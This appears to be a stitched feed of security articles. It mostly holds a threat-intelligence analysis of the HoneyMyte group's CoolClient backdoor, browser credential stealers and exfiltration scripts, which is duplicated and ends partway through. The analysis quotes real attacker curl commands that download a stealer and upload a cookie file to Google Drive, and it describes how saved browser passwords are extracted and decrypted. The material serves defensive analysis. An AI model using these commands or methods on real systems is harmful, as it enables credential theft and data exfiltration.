The attacks targeting Europe were analyzed by Ukraine’s CERT-UA and the cybersecurity company Zscaler.

The post Russia’s APT28 Rapidly Weaponizes Newly Patched Office Vulnerability  appeared first on SecurityWeek.

Blogs

Blog

How China’s “Walled Garden” is Redefining the Cyber Threat Landscape

In our latest webinar, Flashpoint unpacks the architecture of the Chinese threat actor cyber ecosystem—a parallel offensive stack fueled by government mandates and commercialized hacker-for-hire industry.

SHARE THIS:

Flashpoint

January 30, 2026

Table Of Contents

Table of Contents

Understanding the Walled Garden: The Shift from Disclosure to Nationalization

The Indigenous Kill Chain: Reconnaissance Beyond Shodan

Building a State-Aligned Offensive Stack

Strengthen Your Defenses Against the Chinese Offensive Stack with Flashpoint

More

subscribe to our newsletter

For years, the global cybersecurity community has operated under the assumption that technical information was a matter of public record. Security research has always been openly discussed and shared through a culture of global transparency. Today, that reality has fundamentally shifted. Flashpoint is witnessing a growing opacity—a “Walled Garden”—around Chinese data. As a result, the competence of Chinese threat actors and APTs has reached an industrialized scale.

In Flashpoint’s recent on-demand webinar, “Mapping the Adversary: Inside the Chinese Pentesting Ecosystem,” our analysts explain how China’s state policies surrounding zero-day vulnerability research have effectively shut out the cyber communities that once provided a window into Chinese tradecraft. However, they haven’t disappeared. Rather, they have been absorbed by the state to develop a mature, self-sustaining offensive stack capable of targeting global infrastructure.

Understanding the Walled Garden: The Shift from Disclosure to Nationalization

The “Walled Garden” is a direct result of a Chinese regulatory turning point in 2021: the Regulations on the Management of Security Vulnerabilities (RMSV). While the gradual walling off of China’s data is the cumulative result of years of implementing regulatory and policy strategies, the 2021 RMSV marks a critical turning point that effectively nationalized China’s vulnerability research capabilities. Under the RMSV, any individual or organization in China that discovers a new flaw must report it to the Ministry of Industry and Information Technology (MIIT) within 48 hours. Crucially, researchers are prohibited from sharing technical details with third parties—especially foreign entities—or selling them before a patch is issued.

It is important to note that this mandate is not limited to Chinese-based software or hardware; it applies to any vulnerability discovered, as long as the discoverer is a Chinese-based organization or national. This effectively treats software vulnerabilities as a national strategic resource for China. By centralizing this data, the Chinese government ensures it has an early window into zero-day exploits before the global defensive community. 

For defenders, this means that by the time a vulnerability is public, there is a high probability it has already been analyzed and potentially weaponized within China’s state-aligned apparatus.

The Indigenous Kill Chain: Reconnaissance Beyond Shodan

Flashpoint analysts have observed that within this Walled Garden, traditional Western reconnaissance tools are losing their effectiveness. Chinese threat actors are utilizing an indigenous suite of cyberspace search engines that create a dangerous information asymmetry, allowing them to peer at defender infrastructure while shielding their own domestic base from Western scrutiny.

While Shodan remains the go-to resource for security teams, Flashpoint has seen Chinese threat actors favor three IoT search engines that offer them a massive home-field advantage:

• FOFA: Specializes in deep fingerprinting for middleware and Chinese-specific signatures, often indexing dorks for new vulnerabilities weeks before they appear in the West.
• Zoomai: Built for high-speed automation, offering APIs that integrate with AI systems to move from discovery to verified target in minutes.
• 360 Quake: Provides granular, real-time mapping through a CLI with an AI engine for complex asset portraits.

In the full session, we demonstrate exactly how Chinese operators use these tools to fuse reconnaissance and exploitation into a single, automated step—a capability most Western EDRs aren’t yet tuned to detect.

Building a State-Aligned Offensive Stack

Leveraging their knowledge of vulnerabilities and zero-day exploits, the illicit Chinese ecosystem is building tools designed to dismantle the specific technologies that power global corporate data centers and business hubs.

In the webinar, our analysts explain purpose-built cyber weapons designed to hunt VMware vCenter servers that support one-click shell uploads via vulnerabilities like Log4Shell. Beyond the initial exploit, Flashpoint highlights the rising use of Behinder (Ice Scorpion)—a sophisticated web shell management tool. Behinder has become a staple for Chinese operators because it encrypts command-and-control (C2) traffic, allowing attackers to evade conventional inspection and deep packet analytics.

Strengthen Your Defenses Against the Chinese Offensive Stack with Flashpoint

By understanding this “Walled Garden” architecture, defenders can move beyond generic signatures and begin to hunt for the specific TTPs—such as high-entropy C2 traffic and proprietary Chinese scanning patterns—that define the modern Chinese threat actor.

How can Flashpoint help? Flashpoint’s cyber threat intelligence platform cuts through the generic feed overload and delivers unrivaled primary-source data, AI-powered analysis, and expert human context.

Watch the on-demand webinar to learn more, or request a demo today.

The post How China’s “Walled Garden” is Redefining the Cyber Threat Landscape appeared first on Flashpoint.

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

